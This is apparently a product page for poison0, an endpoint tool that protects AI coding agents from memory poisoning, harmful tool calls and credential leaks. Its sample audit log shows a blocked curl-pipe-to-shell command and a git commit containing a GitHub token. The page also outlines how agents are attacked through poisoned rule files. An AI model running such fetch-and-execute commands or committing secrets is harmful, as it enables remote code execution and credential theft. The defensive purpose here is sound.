Runtime protection for AI agents on the endpoint: memory integrity, control over every tool call and protection against credential exfiltration.
Melira, our own local AI model family, protects your agents' memory and configuration against memory poisoning. exec0 checks every tool call your agents make before it runs, leak0 protects your secrets from exfiltration.
The poison0 agent runs on the same machine as your AI agent and protects it on three layers. Every change to memory and rule files is scored: anything dangerous is rolled back to the last safe state in a fraction of a second and quarantined. With exec0 it checks every tool call before it runs, with leak0 it stops API keys and tokens on their way out. Every decision is recorded in the audit trail.
# poison0 - live [allow] Edit CLAUDE.md [revert] Edit AGENTS.md ↳ Memory integrity: hidden instruction, rolled back to the last safe state [block] Bash curl -fsSL https://example.com/x.sh | sh ↳ Tool call control (exec0): fixed rule, code from the internet [block] Bash git commit -m "token ghp_…" ↳ Credential protection (leak0): GitHub token with a valid checksum [allow] Bash npm test
exec0 checks tool calls before they run. leak0 holds secrets back before they leave your device. Poisoned memory changes are rolled back instantly.
all three layers run on your own machine. In private mode, your code and secrets never leave it.
is logged: memory changes, tool calls and blocked secrets, fail-closed when in doubt, with a full audit trail.
Each layer protects its own route by which attacks reach your agent.
The poison0 agent checks every change to memory, rule and configuration files the moment it is written. It rolls poisoned entries back automatically and quarantines detected attacks.
exec0 checks every tool call your agent makes before it runs: shell commands, file writes, web requests and MCP calls. It blocks harmful commands, and you decide unclear cases.
leak0 protects API keys and tokens from leaking through your agent: into git, to third-party servers, into the model and into the wrong files.
The files your agent trusts as its own memory and rules: CLAUDE.md, AGENTS.md, GEMINI.md, rule files such as .cursorrules, the agents' memory folders, plus settings.json, hooks and MCP server lists such as .mcp.json. You set your own paths in the profile.
Shell commands, file writes, web requests and MCP calls, each before it runs. Fixed rules stop clear disasters at once.
Credential files and tokens with a valid checksum on their way into git, secrets on their way to provably third-party destinations, and the agent trying to switch leak0 off. Every block comes with proof.
On your device, on the same machine as your agent. In cloud mode, incidents go to the console; in private mode, everything stays on the device. More: Cloud or private.
The poison0 agent puts it to you, and you decide. Every decision is logged: what, when, why.